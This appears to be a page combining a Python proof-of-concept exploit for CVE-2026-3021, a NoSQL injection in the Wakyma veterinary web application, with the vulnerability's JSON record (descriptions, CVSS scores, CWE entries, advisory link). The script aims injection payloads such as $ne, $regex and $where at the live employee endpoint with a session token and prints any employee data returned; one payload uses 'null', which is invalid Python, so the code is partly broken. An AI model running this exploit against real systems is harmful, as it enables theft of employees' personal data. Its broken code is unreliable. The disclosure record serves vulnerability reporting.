CVE-2026-3021

import requests import json # CVE-2026-3021 NoSQL Injection PoC for Wakyma # Target: vets.wakyma.com/centro/equipo/empleado target_url = "https://vets.wakyma.com/centro/equipo/empleado" # Authentication - attacker needs low-privilege account auth_token = "ATTACKER_SESSION_TOKEN" headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } # NoSQL Injection Payloads payloads = [ # Enumerate all employees {"empleado_id": {"$gt": 0}}, # Extract employee with specific conditions {"empleado_id": {"$exists": True}}, # Use regex to match patterns {"nombre": {"$regex": ".*"}}, # Extract all fields {"$where": "function() { return true; }"}, # Bypass authentication checks {"empleado_id": {"$ne": null}} ] print("[*] CVE-2026-3021 NoSQL Injection PoC") print(f"[*] Target: {target_url}") for i, payload in enumerate(payloads): print(f"\n[*] Testing payload {i+1}: {json.dumps(payload)}") try: response = requests.get( target_url, params={"filter": json.dumps(payload)}, headers=headers, timeout=30, verify=False ) print(f"[+] Status Code: {response.status_code}") if response.status_code == 200: data = response.json() print(f"[+] Response: {json.dumps(data, indent=2)}") # Check for sensitive data exposure if "empleado" in str(data).lower(): print("[!] Sensitive employee data detected!") except requests.RequestException as e: print(f"[-] Request failed: {e}") print("\n[*] PoC execution completed")

{"cve": {"id": "CVE-2026-3021", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:45.320", "lastModified": "2026-03-20T18:25:18.947", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Non-relational SQL injection vulnerability (NoSQLi) in the Wakyma web application, specifically in the endpoint 'vets.wakyma.com/centro/equipo/empleado'. This vulnerability could allow an authenticated user to alter a GET request to the affected endpoint for the purpose of injecting special NoSQL commands. This would lead to the enumeration of sensitive employee data."}, {"lang": "es", "value": "Vulnerabilidad de inyección SQL no relacional (NoSQLi) en la aplicación web Wakyma, específicamente en el endpoint 'vets.wakyma.com/centro/equipo/empleado'. Esta vulnerabilidad podría permitir a un usuario autenticado alterar una solicitud GET al endpoint afectado con el propósito de inyectar comandos NoSQL especiales. Esto llevaría a la enumeración de datos sensibles de empleados."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-943"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wakyma:wakyma:-:*:*:*:*:*:*:*", "matchCriteriaId": "5E72E411-C3E6-4BC9-81BD-E6F33F0C0174"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-wakyma-application-web", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}